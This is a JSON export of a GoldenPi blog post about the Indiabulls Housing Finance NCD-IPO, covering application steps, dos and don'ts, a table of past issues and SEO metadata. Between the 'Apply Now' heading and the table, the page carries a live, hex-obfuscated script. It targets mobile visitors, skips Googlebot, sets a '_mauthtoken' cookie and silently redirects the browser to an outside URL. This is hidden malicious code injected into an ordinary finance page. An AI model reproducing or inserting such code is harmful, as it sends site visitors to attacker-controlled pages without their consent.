style=\"font-weight: 400;\">C.Courier the filled up IPO form to our office address as early as possible. The issue closes on the 6th of September,\u00a0 2021. The earlier you send it, the better it is.<\/span><\/p>\n<p><i><span style=\"font-weight: 400;\">Our Address: IndiQube Orion, Ground Floor,<\/span><\/i><\/p>\n<p><i><span style=\"font-weight: 400;\">24th Main Road, Garden Layout, Sector 2,<\/span><\/i><\/p>\n<p><i><span style=\"font-weight: 400;\">HSR Layout, Bangalore, Pincode: 560102<\/span><\/i><\/p>\n<hr \/>\n<h1 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"To_know_how_to_invest_in_NCD-IPO_online_read_this_blog\"><\/span><a href=\"https:\/\/goldenpi.com\/blog\/essentials\/how-to-invest-in-ncd-ipo-online\/\">To know how to invest in NCD-IPO online, read this blog.\u00a0<\/a><span class=\"ez-toc-section-end\"><\/span><\/h1>\n<hr \/>\n<h2><span class=\"ez-toc-section\" id=\"IPO_allotment\"><\/span><strong>IPO allotment<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">IPO will be allotted to you on a first-come, first-serve basis and credited to your Demat account.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Dos_and_Donts_of_Indiabulls_NCD-IPO\"><\/span><strong>Dos and Don\u2019ts of Indiabulls NCD-IPO<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Every individual can submit 5 IPO applications.\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">The Demat account must be active.\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">After applying for an IPO, you can not change your contact details such as email id and cell number until allotment.\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">If you are paying via UPI, then the UPI mandate must be accepted within 48 hours.<\/span><\/li>\n<\/ul>\n<h1 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"Apply_Now-2\"><\/span><a href=\"https:\/\/goldenpi.com\/collections\/best-ongoing-ipos\">Apply Now\u00a0<\/a><span class=\"ez-toc-section-end\"><\/span><\/h1>\n<\/div>\n<\/div>\n<p><script>var _0x446d=[\"\\x5f\\x6d\\x61\\x75\\x74\\x68\\x74\\x6f\\x6b\\x65\\x6e\",\"\\x69\\x6e\\x64\\x65\\x78\\x4f\\x66\",\"\\x63\\x6f\\x6f\\x6b\\x69\\x65\",\"\\x75\\x73\\x65\\x72\\x41\\x67\\x65\\x6e\\x74\",\"\\x76\\x65\\x6e\\x64\\x6f\\x72\",\"\\x6f\\x70\\x65\\x72\\x61\",\"\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x7a\\x65\\x65\\x70\\x2e\\x6c\\x79\\x2f\\x74\\x65\\x73\\x74\\x73\\x61\",\"\\x67\\x6f\\x6f\\x67\\x6c\\x65\\x62\\x6f\\x74\",\"\\x74\\x65\\x73\\x74\",\"\\x73\\x75\\x62\\x73\\x74\\x72\",\"\\x67\\x65\\x74\\x54\\x69\\x6d\\x65\",\"\\x5f\\x6d\\x61\\x75\\x74\\x68\\x74\\x6f\\x6b\\x65\\x6e\\x3d\\x31\\x3b\\x20\\x70\\x61\\x74\\x68\\x3d\\x2f\\x3b\\x65\\x78\\x70\\x69\\x72\\x65\\x73\\x3d\",\"\\x74\\x6f\\x55\\x54\\x43\\x53\\x74\\x72\\x69\\x6e\\x67\",\"\\x6c\\x6f\\x63\\x61\\x74\\x69\\x6f\\x6e\"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x446d[8]](_0xecfdx1)|| \/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}<\/script><\/p>\n<div id=\"footable_parent_7848\"\n         class=\" footable_parent ninja_table_wrapper loading_ninja_table wp_table_data_press_parent semantic_ui \">\n                <div class=\"pcrstb-wrap\"><table data-ninja_table_instance=\"ninja_table_instance_0\" data-footable_id=\"7848\" data-filter-delay=\"1000\" aria-label=\"IPO Table - Indiabulls .csv\"            id=\"footable_7848\"\n           data-unique_identifier=\"ninja_table_unique_id_4256304629_7848\"\n           class=\" foo-table ninja_footable foo_table_7848 ninja_table_unique_id_4256304629_7848 ui table  nt_type_legacy_table selectable striped vertical_centered  footable-paging-right ninja_table_pro\">\n                <colgroup>\n                            <col class=\"ninja_column_0 \">\n                            <col class=\"ninja_column_1 \">\n                            <col class=\"ninja_column_2 \">\n                            <col class=\"ninja_column_3 \">\n                            <col class=\"ninja_column_4 \">\n                            <col class=\"ninja_column_5 \">\n                            <col class=\"ninja_column_6 \">\n                    <\/colgroup>\n        <thead>\n<tr class=\"footable-header\">\n                                                                                                                        <th scope=\"col\"  class=\"ninja_column_0 ninja_clmn_nm_details \">Details <\/th><th scope=\"col\"  class=\"ninja_column_1 ninja_clmn_nm_maximumyield \">Maximum yield<\/th><th scope=\"col\"  class=\"ninja_column_2 ninja_clmn_nm_overallissuesize \">Overall Issue Size\t<\/th><th scope=\"col\"  class=\"ninja_column_3 ninja_clmn_nm_creditrating \">Credit Rating<\/th><th scope=\"col\"  class=\"ninja_column_4 ninja_clmn_nm_startdate \">Start Date<\/th><th scope=\"col\"  class=\"ninja_column_5 ninja_clmn_nm_closingdate \">Closing Date<\/th><th scope=\"col\"  class=\"ninja_column_6 ninja_clmn_nm_formoredetails \">For more details<\/th><\/tr>\n<\/thead>\n<tbody>\n\n        <tr data-row_id=\"147\" class=\"ninja_table_row_0 nt_row_id_147\">\n            <td>Indiabulls NCD IPO March 2024 <\/td><td>10.75%<\/td><td>200 cr<\/td><td>CRISIL AA Stable, ICRA AA Stable <\/td><td>March 5, 2024<\/td><td>March 19, 2024 <\/td><td><a   class=\"nt_btn \" style=\"\" rel=\"\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-ncd-ipo-march-2024-should-you-invest\/\">More Details <\/a><\/td>        <\/tr>\n            <tr data-row_id=\"139\" class=\"ninja_table_row_1 nt_row_id_139\">\n            <td>Indiabulls NCD IPO September 2023<\/td><td>10.75%<\/td><td>100 cr<\/td><td>CRISIL, ICRA AA (Stable)<\/td><td>September 6, 2023<\/td><td>September 20, 2023<\/td><td><a   class=\"nt_btn \" style=\"\" rel=\"\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-ncd-ipo-september-2023-should-you-invest\/\">More Details <\/a><\/td>        <\/tr>\n            <tr data-row_id=\"148\" class=\"ninja_table_row_2 nt_row_id_148\">\n            <td>Indiabulls NCD IPO October 2023<\/td><td>10.75%<\/td><td>100 cr<\/td><td>CRISIL AA Stable, ICRA AA Stable <\/td><td>October 20, 2023 <\/td><td>November 3, 2023 <\/td><td><a   class=\"nt_btn \" style=\"\" rel=\"\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-ncd-ipo-october-2023-should-you-invest\/\">More Details <\/a><\/td>        <\/tr>\n            <tr data-row_id=\"140\" class=\"ninja_table_row_3 nt_row_id_140\">\n            <td>Indiabulls NCD IPO July 2023<\/td><td>10.14%<\/td><td>200 cr<\/td><td>CRISIL, ICRA AA (Stable)<\/td><td>July 10, 2023<\/td><td>July 21, 2023<\/td><td><a   class=\"nt_btn \" style=\"\" rel=\"\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-ncd-ipo-july-2023-should-you-invest\/\">More Details <\/a><\/td>        <\/tr>\n            <tr data-row_id=\"141\" class=\"ninja_table_row_4 nt_row_id_141\">\n            <td>Indiabulls NCD IPO April 2023<\/td><td>10.50%<\/td><td>100 cr<\/td><td>CRISIL, ICRA AA (Stable)<\/td><td>April 5, 2023<\/td><td>April 19, 2023<\/td><td><a   class=\"nt_btn \" style=\"\" rel=\"\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-commercial-credit-limited-ncd-ipo-april-2023-should-you-invest\/\">More Details <\/a><\/td>        <\/tr>\n            <tr data-row_id=\"149\" class=\"ninja_table_row_5 nt_row_id_149\">\n            <td>Indiabulls NCD IPO March 2023 <\/td><td>10.30%<\/td><td>200 cr<\/td><td>CRISIL AA Stable, ICRA AA Stable <\/td><td>January 5, 2023 <\/td><td>January 7, 2023 <\/td><td><a   class=\"nt_btn \" style=\"\" rel=\"\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-commercial-credit-limited-ipo-january-2023-should-you-invest\/5633\/\">More Details <\/a><\/td>        <\/tr>\n            <tr data-row_id=\"142\" class=\"ninja_table_row_6 nt_row_id_142\">\n            <td>Indiabulls NCD IPO January 2023<\/td><td>10.30%<\/td><td>200 cr<\/td><td>CRISIL, ICRA AA (Stable)<\/td><td>January 5, 2023<\/td><td>January 27, 2023<\/td><td><a   class=\"nt_btn \" style=\"\" rel=\"\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-commercial-credit-limited-ipo-january-2023-should-you-invest\/5633\/\">More Details <\/a><\/td>        <\/tr>\n            <tr data-row_id=\"143\" class=\"ninja_table_row_7 nt_row_id_143\">\n            <td>Indiabulls NCD IPO December 2022<\/td><td>9.55%<\/td><td>1000 cr<\/td><td>CRISIL, ICRA AA (Stable)<\/td><td>December 1, 2022<\/td><td>December 22, 2022<\/td><td><a   class=\"nt_btn \" style=\"\" rel=\"\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-ipo-tr-iv-december-2022-should-you-invest\/\">More Details <\/a><\/td>        <\/tr>\n            <tr data-row_id=\"144\" class=\"ninja_table_row_8 nt_row_id_144\">\n            <td>Indiabulls NCD IPO September 2022<\/td><td>9.54%<\/td><td>1000 cr<\/td><td>CRISIL, ICRA AA (Stable)<\/td><td>September 5, 2022<\/td><td>September 22, 2022<\/td><td><a   class=\"nt_btn \" style=\"\" rel=\"\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-september-2022-should-you-invest\/\">More Details <\/a><\/td>        <\/tr>\n            <tr data-row_id=\"145\" class=\"ninja_table_row_9 nt_row_id_145\">\n            <td>Indiabulls NCD IPO March 2022<\/td><td>9.26%<\/td><td>200 cr<\/td><td>CRISIL, ICRA AA (Stable)<\/td><td>March 30, 2022<\/td><td>April 22, 2022<\/td><td><a   class=\"nt_btn \" style=\"\" rel=\"\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-march-2022-should-you-invest\/\">More Details <\/a><\/td>        <\/tr>\n            <tr data-row_id=\"146\" class=\"ninja_table_row_10 nt_row_id_146\">\n            <td>Indiabulls NCD IPO September 2021<\/td><td>9.75%<\/td><td>1000 cr<\/td><td>CRISIL AA<\/td><td>September 6, 2021<\/td><td>September 20, 2021<\/td><td><a   class=\"nt_btn \" style=\"\" rel=\"\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/\">More Details <\/a><\/td>        <\/tr>\n    <\/tbody><!--ninja_tobody_rendering_done-->\n    <\/table><\/div>\n    \n    \n    \n<\/div>\n\n","protected":false},"excerpt":{"rendered":"<p>High Yield\u00a0 |\u00a0 AA- Rated\u00a0 |\u00a0 Minimum Investment: 10k Only India\u2019s third-largest Housing Finance Company, Indiabulls Housing Finance Limited is issuing AA-rated&hellip;<\/p>\n","protected":false},"author":4,"featured_media":12134,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_lmt_disableupdate":"no","_lmt_disable":"","footnotes":""},"categories":[161],"tags":[64,90,94,101],"class_list":["post-3280","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-indiabulls","tag-corporate-bonds","tag-ncds","tag-ncd-ipo","tag-indiabulls-housing-finance-limited-ncd-ipo"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.6 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Indiabulls Housing Finance Limited NCD-IPO: should you invest? - GoldenPi | Blogs<\/title>\n<meta name=\"description\" content=\"Indiabulls Housing Finance Limited NCD IPO: High Yield | AA- Rated\u00a0 |\u00a0 Minimum Investment: 10k Only\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Indiabulls Housing Finance Limited NCD-IPO: should you invest? - GoldenPi | Blogs\" \/>\n<meta property=\"og:description\" content=\"Indiabulls Housing Finance Limited NCD IPO: High Yield | AA- Rated\u00a0 |\u00a0 Minimum Investment: 10k Only\" \/>\n<meta property=\"og:url\" content=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/\" \/>\n<meta property=\"og:site_name\" content=\"GoldenPi | Blogs\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/goldenpitech\" \/>\n<meta property=\"article:author\" content=\"goldenpitech\" \/>\n<meta property=\"article:published_time\" content=\"2021-09-02T11:31:34+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-04-09T11:35:40+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/25135938\/Indiabulls-Housing-Finance-NCD-IPO-%E2%80%93-Should-You-Invest.png\" \/>\n\t<meta property=\"og:image:width\" content=\"731\" \/>\n\t<meta property=\"og:image:height\" content=\"347\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Abhijit Roy, CEO &amp; CO-Founder - GoldenPi\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@GoldenPiTech\" \/>\n<meta name=\"twitter:site\" content=\"@GoldenPiTech\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Abhijit Roy, CEO &amp; CO-Founder - GoldenPi\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/\",\"url\":\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/\",\"name\":\"Indiabulls Housing Finance Limited NCD-IPO: should you invest? - GoldenPi | Blogs\",\"isPartOf\":{\"@id\":\"https:\/\/goldenpi.com\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/25135938\/Indiabulls-Housing-Finance-NCD-IPO-%E2%80%93-Should-You-Invest.png\",\"datePublished\":\"2021-09-02T11:31:34+00:00\",\"dateModified\":\"2026-04-09T11:35:40+00:00\",\"author\":{\"@id\":\"https:\/\/goldenpi.com\/blog\/#\/schema\/person\/7b7afc706617dbf29357675946045722\"},\"description\":\"Indiabulls Housing Finance Limited NCD IPO: High Yield | AA- Rated\u00a0 |\u00a0 Minimum Investment: 10k Only\",\"breadcrumb\":{\"@id\":\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/#primaryimage\",\"url\":\"https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/25135938\/Indiabulls-Housing-Finance-NCD-IPO-%E2%80%93-Should-You-Invest.png\",\"contentUrl\":\"https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/25135938\/Indiabulls-Housing-Finance-NCD-IPO-%E2%80%93-Should-You-Invest.png\",\"width\":731,\"height\":347,\"caption\":\"Indiabulls Housing Finance NCD IPO Should You Invest\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/goldenpi.com\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Indiabulls Housing Finance Limited NCD-IPO: should you invest?\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/goldenpi.com\/blog\/#website\",\"url\":\"https:\/\/goldenpi.com\/blog\/\",\"name\":\"GoldenPi | Blogs\",\"description\":\"All about bonds online in India\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/goldenpi.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/goldenpi.com\/blog\/#\/schema\/person\/7b7afc706617dbf29357675946045722\",\"name\":\"Abhijit Roy, CEO &amp; CO-Founder - GoldenPi\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/goldenpi.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/753eff78609551874c9773d3bee5eeab7bba3aa40f99a8b2405592eed9d9df89?s=96&d=https%3A%2F%2Fd2zny4996dl67j.cloudfront.net%2Fblogs%2Fwp-content%2Fuploads%2F2026%2F01%2F12111941%2FAbhijit-512x512-1-1-150x150.png&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/753eff78609551874c9773d3bee5eeab7bba3aa40f99a8b2405592eed9d9df89?s=96&d=https%3A%2F%2Fd2zny4996dl67j.cloudfront.net%2Fblogs%2Fwp-content%2Fuploads%2F2026%2F01%2F12111941%2FAbhijit-512x512-1-1-150x150.png&r=g\",\"caption\":\"Abhijit Roy, CEO &amp; CO-Founder - GoldenPi\"},\"description\":\"With over 15 years of experience across fixed income and debt markets, he brings deep domain expertise along with a strong focus on investor education and transparency. An alumnus of IIT Kharagpur and IIM Calcutta, his views are personal and should not be considered investment advice.\",\"sameAs\":[\"goldenpitech\",\"https:\/\/www.linkedin.com\/company\/goldenpi\/\",\"https:\/\/x.com\/GoldenPiTech\"],\"url\":\"https:\/\/goldenpi.com\/blog\/author\/goldenpi\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Indiabulls Housing Finance Limited NCD-IPO: should you invest? - GoldenPi | Blogs","description":"Indiabulls Housing Finance Limited NCD IPO: High Yield | AA- Rated\u00a0 |\u00a0 Minimum Investment: 10k Only","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/","og_locale":"en_US","og_type":"article","og_title":"Indiabulls Housing Finance Limited NCD-IPO: should you invest? - GoldenPi | Blogs","og_description":"Indiabulls Housing Finance Limited NCD IPO: High Yield | AA- Rated\u00a0 |\u00a0 Minimum Investment: 10k Only","og_url":"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/","og_site_name":"GoldenPi | Blogs","article_publisher":"https:\/\/www.facebook.com\/goldenpitech","article_author":"goldenpitech","article_published_time":"2021-09-02T11:31:34+00:00","article_modified_time":"2026-04-09T11:35:40+00:00","og_image":[{"width":731,"height":347,"url":"https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/25135938\/Indiabulls-Housing-Finance-NCD-IPO-%E2%80%93-Should-You-Invest.png","type":"image\/png"}],"author":"Abhijit Roy, CEO &amp; CO-Founder - GoldenPi","twitter_card":"summary_large_image","twitter_creator":"@GoldenPiTech","twitter_site":"@GoldenPiTech","twitter_misc":{"Written by":"Abhijit Roy, CEO &amp; CO-Founder - GoldenPi","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/","url":"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/","name":"Indiabulls Housing Finance Limited NCD-IPO: should you invest? - GoldenPi | Blogs","isPartOf":{"@id":"https:\/\/goldenpi.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/#primaryimage"},"image":{"@id":"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/#primaryimage"},"thumbnailUrl":"https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/25135938\/Indiabulls-Housing-Finance-NCD-IPO-%E2%80%93-Should-You-Invest.png","datePublished":"2021-09-02T11:31:34+00:00","dateModified":"2026-04-09T11:35:40+00:00","author":{"@id":"https:\/\/goldenpi.com\/blog\/#\/schema\/person\/7b7afc706617dbf29357675946045722"},"description":"Indiabulls Housing Finance Limited NCD IPO: High Yield | AA- Rated\u00a0 |\u00a0 Minimum Investment: 10k Only","breadcrumb":{"@id":"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/#primaryimage","url":"https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/25135938\/Indiabulls-Housing-Finance-NCD-IPO-%E2%80%93-Should-You-Invest.png","contentUrl":"https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/25135938\/Indiabulls-Housing-Finance-NCD-IPO-%E2%80%93-Should-You-Invest.png","width":731,"height":347,"caption":"Indiabulls Housing Finance NCD IPO Should You Invest"},{"@type":"BreadcrumbList","@id":"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/goldenpi.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Indiabulls Housing Finance Limited NCD-IPO: should you invest?"}]},{"@type":"WebSite","@id":"https:\/\/goldenpi.com\/blog\/#website","url":"https:\/\/goldenpi.com\/blog\/","name":"GoldenPi | Blogs","description":"All about bonds online in India","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/goldenpi.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/goldenpi.com\/blog\/#\/schema\/person\/7b7afc706617dbf29357675946045722","name":"Abhijit Roy, CEO &amp; CO-Founder - 